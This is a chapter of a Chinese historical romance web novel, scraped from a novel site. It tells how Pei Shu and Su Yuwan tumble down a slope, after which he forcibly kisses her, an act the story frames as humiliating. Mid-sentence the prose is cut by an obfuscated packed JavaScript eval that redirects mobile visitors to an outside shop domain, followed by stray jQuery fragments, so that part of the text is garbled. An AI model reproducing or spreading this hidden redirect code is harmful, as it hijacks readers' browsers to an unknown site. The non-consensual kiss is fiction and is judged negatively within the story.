文趣网 > 其他小说 > 这艘海船有点颠 > 8. 已勾账
    裴殊掉下马的时候,他就开始后悔了。

    他们的船安全坚固,加之又是在内河一带、今夜无风,待在船上一夜,不会有太大事。但他却不知怎的,他回来的路上便开始良心不安,夜幕降临后,他就折了回去。

    可如今看来,他简直是大错特错,他就不该对从不按常理出牌的苏玉晚心软。

    他此刻被迫与苏玉晚抱在一起,两人在长满杂草的斜坡上翻滚着。他无数次想推开苏玉晚,但奈何苏玉晚抱得死死的。他的四肢不时砸到地面上的顽石,刺痛感不时传来。

    “嘶——”忽而,他背部蝴蝶骨处的衣服被一块锋利的石头、又或是其他什么东西钩住了,直接将他的外衣撕开了一道口子。而他和苏玉晚还维持着滚落的姿势,导致裂口处越来越大,最后直接将裴殊的衣服从背部撕到胸前,扯下一大块白布。

    “莎——”两人滚落到了一处平地的稻草堆中,无数稻草瞬间被冲散,洒在两人的身上,两人终于停了下来。

    “疯子!”裴殊的脸色极为难看,他扫了一眼自己残破的外衣,并露出白色里衣的狼狈模样,再看了一下还紧紧地抱着他的腰,只是发丝有些凌乱的苏玉晚。

    他顿时更加气恼,连忙去拽苏玉晚抱在他腰上的手。

    “苏玉晚,你又发什么疯!你给我松开!你要是不给我道歉,我就去报官!”

    苏玉晚一路翻滚,从始至终都闭着双眼,此刻终于停了下来,她只觉得头昏脑涨,耳鸣声充斥着她的耳膜,她完全没听清裴殊在说什么。

    她感觉到脸上散落着几根稻草,有点痒。忽而,她感觉到手臂被一股大力狠狠地抓住,她连忙下意识拽住裴殊的衣服。

    “嘶——”

    一阵清亮的布匹撕裂声,恍然在稻草堆中奏响。

    苏玉晚晃了晃头,耳鸣声缓解了一些,她敲了下脑袋,缓缓睁开眼,但眼前还有些重影。

    “……”

    夜色茫茫,但不远处村落有一些微弱的灯火,再加上裴殊的皮肤比较白,所以她倒是看得清眼前的景象。

    在她眼前,近在咫尺,有八块结构分明、纹理细腻的腹肌在旋转、跳跃、重影、叠映……如梦似幻。

    她连忙又敲了一下自己的脑袋,揉了一下太阳穴,再次望过去的时候,发现那几块腹肌终于停住了,不转了……

    但怎么还有点微微起伏呢?

    “……苏、玉、晚!”

    苏玉晚一抬头,却对上了裴殊几乎要把她杀了一样的可怖眼神。

    哦……额……她好像不小心把裴殊胸前的衣服撕掉了。

    此刻,她手里还紧紧攥着“赃物”,那是一块残留着线头的白布……她不知道自己竟然有这么大的力气。

    她心虚地避开裴殊的双眼,但一低头,又看到了他的腹肌。

    没由来的,她脸一红。说实话,她见识少,真没亲眼见过这种场面。

    “你还看!你知不知道男女有别!”裴殊气得脸色铁青,他连忙站起身,转过身去,与苏玉晚拉开距离。

    这下可好,苏玉晚又看到了他光滑的背……

    苏玉晚连忙别开眼,她真的不是有意的!

    她扑打了几下周围的稻草,从地上爬起来,轻咳了两声来缓解尴尬,说道:“这纯粹是意外嘛……又没什么好看的。”

    她将手中的白色碎布丢给裴殊,“这附近有村子,万一有人来,你会被当成流氓的,你还是遮一下吧……”

    “怎么遮!”裴殊地面上被丢来的一块破布,姣好的五官顿时有些扭曲,冷声吼道,“你给我滚!”

    “瞧您说的,跟我做了什么对不起你的事一样,算了,我也正想走呢。”苏玉晚挑了下眉,她整理了一下自己的仪容仪表,她发髻稍微有些乱,其他都还好。

    而反观裴殊……

    明月皎然,星光辉映,他站在一堆稻草之间,虽然他勉强维持着那股冷傲清贵的气场,可惜,他此刻披头散发的,上半身衣不蔽体的……

    说实话,很爽。她心里的气全消了。

    苏玉晚心中欢喜,忍不住哼起小曲,朝不远处那一片亮着灯的村落走去,准备借辆车。

    忽而,她身后响起一阵脚步声,裴殊似乎跟上了她。

    夜风中,一句冷飕飕的话从她身后传来,“你好像很开心。”

    苏玉晚微微皱眉,她可不想被一个没上衣的男人跟着,很奇怪,万一被村民误会怎么办?已经很晚了,她很累了。

    “你能不能别跟着我,我们各回各家,行不行?”

    忽而,裴殊一个踏步上前,手臂一伸立刻揽过苏玉晚的脖颈。

    “你搞什么!”苏玉晚一愣,被吓了一跳,根本没反应过来。

    “朱笔勾账!”

    裴殊冷着脸,眼神如鬼火一般闪动着,他俯视着苏玉晚,脸忽而低下并靠近,猛地在她唇上印上一吻。

    苏玉晚顿时怒火冲天,这人有病吧!

    她愤然地去推裴殊,但裴殊的力气显然比她大,他按住苏玉晚细嫩的脖颈,狠狠地吮吸着她的双唇。

    苏玉晚气得浑身发抖,感到一阵生理性的恶心,她为了脱身,猛地咬了他的嘴唇。

    “嘶……”裴殊这才松开。

    “SB东西!”苏玉晚眼神森冷,抬手想扇他。

    裴殊很快退后几步,与她拉开距离,他看着唇边的血,露出一抹冷笑,抬眼看向苏玉晚,“好了,我也开心了。”

    “MD变态!”

    苏玉晚用袖子用力擦拭着自己的唇。

    “怎么样,你现在能体会到我当时的感受了吗?”

    苏玉晚一时哽住,心中猛然涌上一堆委屈,她眼神憎恶地看向裴殊,“这根本不一样!”

    “哪里不一样?”

    “我当时的确是利用你,但我从未想过要羞辱你!而你呢,你刚刚,分别就是在羞辱我!”刚刚那一瞬间,苏玉晚感到一种无力与恐惧,是那种男性对女性的绝对的力量压迫,是毫无感情地、掠夺一般地摧毁她的领域与尊严。

    她非常、非常不喜欢这种感觉,她不想跟裴殊再有任何牵扯。

    “是我先利用的你,是我先招惹的你,如果既然勾账,那便两清。”苏玉晚冷着脸,转身就走,她语气出奇地冷静,没有一丝情绪波动,“我会去泉州订船,你们的船,我不要了。还有,我劝你以后见到我,最好绕道走,否则,我会让你后悔这辈子遇见我。”

    苏玉晚头也不回地离开了。

    裴殊看着苏玉晚的背影,眉头微皱,这笔账虽然勾了,但他却并不好受。

    “苏……”裴殊想说什么,本打算追上去,而此时,不远处传来一阵马蹄声。

    “小七!”

    另外两名船夫牵着裴殊的马走过来。

    “这……这是怎么一回事……”

    一人连忙脱下外衣,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942874|213978||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    给裴殊披上。

    “我没事,你们跟上她,确保她安全回到苏府。”

    ……

    苏玉晚迎着灯火,来到附近的村寨。她将身上的银钱给了一名带着孩子的大姐,换了一辆拉草的驴车,大姐驾着驴车,将她送到了浙江渡。

    此时,渡口边,却到处灯火通明。

    苏家的人已经围了整个渡口,而柳莺等人也刚刚被解救。

    苏长富远远地看到苏玉晚,连忙朝她奔去,父女俩掩面而泣。

    “为父一定为你讨回公道!”

    “不必了,阿爹,这件事到此为止,我还有很多事情要做,不能再浪费时间在他身上。”

    ……

    次日清晨。

    苏玉晚起了一个大早,戴上面纱,乘马车前往了上城窑。听说第一批黑瓷已经烧好了,她准备去检验一番。

    而苏玉晚前脚刚走,裴殊便骑着马来到了苏府门前。

    门口的护卫认出了裴殊,根本没给他好脸。

    “我来见你们家小姐,有事跟她说。”裴殊披着一身蔚蓝色的鹤氅,神态看起来有一丝疲惫。

    “小姐不在府内。”

    “她去哪里了?可有说什么时候回来?”

    “无可奉告。”

    裴殊从怀中拿出一张交子,递上前,继续问:“当真出去了?我可是有要事与你家小姐商量。”

    “无可奉告!”护卫不再搭理他。

    裴殊心中一沉,他昨夜没睡好,思来想去,想在出海之前,跟苏玉晚解释清楚昨夜的事。

    罢了,其实也没什么好说的。他待会便要出海了,这一趟去,至少半年才能回来。

    或许,半年后回来,苏玉晚连他是谁都忘了。

    裴殊最后望了一眼苏府的大门,便骑上马往回走。

    此时,一辆马车正巧朝苏府行驶而来,与裴殊擦肩而过。

    裴殊不知道为何,竟侧了侧身,朝那马车望去。

    只见那辆马车停在了苏府的门前,片刻后,一位身穿青绿色衣袍、手持折扇的男子从马车上走下来。

    裴殊不禁冷眉微皱,他认出那人正是陆昀。

    门口的护卫见到陆昀,竟换了一副面孔,友善地笑着、又与陆昀说了些什么。陆昀冲那护卫拱手,随后又走上了马车。

    裴殊心里划过一丝异样的情绪,继续策马往前走。

    “七公子,还请留步。”

    忽而,陆昀喊住了裴殊。

    裴殊犹豫片刻,勒马停在原地,“何事?”

    陆昀的马车行驶到裴殊的一侧,陆昀用折扇挑起帘子,笑着看向裴殊。

    “七公子是来找苏小姐的吗?”

    “若无其他事,就此别过。”裴殊还以为有什么事,他可无意与陆昀争风吃醋,便准备离开。

    “五日后,苏小姐与我将在西湖的湖心岛上摆一场品茗宴,若是七公子得空,可前来一观。”

    “今日我便要出海了,不得空。”裴殊冷淡地说道,“告辞。”

    陆昀脸上的笑容愈深,“哦,那可真是不巧呢。在下听说七公子出海一趟少则数月,多则一年。这次不来,倒也无妨,说不定七公子从海上回来时,正好能赶上我与苏小姐的喜酒呢。”

    裴殊冷讥一声,策马离开。

    只是这回去的一路上,陆昀那该死的话,一直萦绕在他心头,他不知为何,只觉得心中发闷。